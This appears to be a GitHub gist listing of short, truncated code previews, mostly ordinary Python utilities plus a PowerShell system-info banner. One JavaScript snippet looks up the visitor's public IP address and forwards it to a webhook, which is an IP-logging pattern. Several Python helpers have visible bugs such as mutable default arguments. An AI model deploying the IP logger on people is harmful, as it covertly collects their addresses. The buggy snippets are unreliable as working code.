This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def flatten(structure: dict, head = [], flattened = {}) -> list: | |
| for key, value in structure.items(): | |
| if isinstance(value, dict): | |
| head.append(key) | |
| flatten(value, [*head, key], flattened) | |
| else: | |
| flattened['__'.join(head)] = value | |
| return flattened |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def parse_qs(qs: str) -> dict: | |
| kvs = qs.split('&') | |
| parsed = {} | |
| for kv in kvs: | |
| key, value = kv.split('=') | |
| if key not in parsed: | |
| parsed[key] = value |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def combinations(letters: list, length: int = 4, string = '', result = []) -> list[str]: | |
| if length == len(string): | |
| result.append(string) | |
| return | |
| for letter in letters: | |
| combinations(letters, length, string + letter, result) | |
| return result |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def algorithm(dataset: list, input: str, output_length: int = None) -> str: | |
| matches = filter(lambda quote: input in quote, dataset) | |
| processed = map(lambda quote: quote[quote.index(input):], matches) | |
| return [segment[0:output_length] for segment in processed] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def compound(n, ceiling: int = 10, powers: list = []): | |
| for i in range(2, ceiling): | |
| if n % i == 0: | |
| powers.append(i) | |
| return compound(n // i, ceiling, powers) | |
| powers.append(n) | |
| return powers |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def wrap(array, size) -> list: | |
| result = [] | |
| aux_array = [] | |
| for i in array: | |
| aux_array.append(i) | |
| if len(aux_array) == size: | |
| result.append(aux_array) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def euler() -> Decimal: | |
| e = Decimal(0) | |
| f = 1 | |
| for n in range(2, 100_000): | |
| f *= n | |
| e += Decimal((1 / f)) | |
| return e + 2 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| let webhook_url = 'webhook'; | |
| let req = new XMLHttpRequest(); | |
| req.open('GET', 'https://api.db-ip.com/v2/free/self'); | |
| req.send(); | |
| req.onload = () => { | |
| webhook(JSON.parse(req.response)['ipAddress']) | |
| } | |
| function webhook(text) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| def bypass(mail: str, mode='normal') -> str: | |
| if mode == 'normal': | |
| mail = mail[::-1] | |
| mail = mail.replace('//', '@') | |
| mail = mail.replace('/', '.') | |
| return mail | |
| # moc/elpmaxe//oof -> normal mode |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $uptime = Get-Uptime | |
| $os = Get-CimInstance -ClassName CIM_OperatingSystem | |
| $version = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" | |
| Write-Host "###### ####### " -ForegroundColor Cyan -NoNewLine | |
| Write-Host "$env:username@$env:computername" | |
| Write-Host "###### ####### " -ForegroundColor Cyan -NoNewLine | |
| Write-Host "Architecture $($operativeSystem.OSArchitecture)" | |
| Write-Host "###### ####### " -ForegroundColor Cyan -NoNewLine | |
| Write-Host "$($uptime.Days)d, $($uptime.Hours)h, $($uptime.Minutes)m" |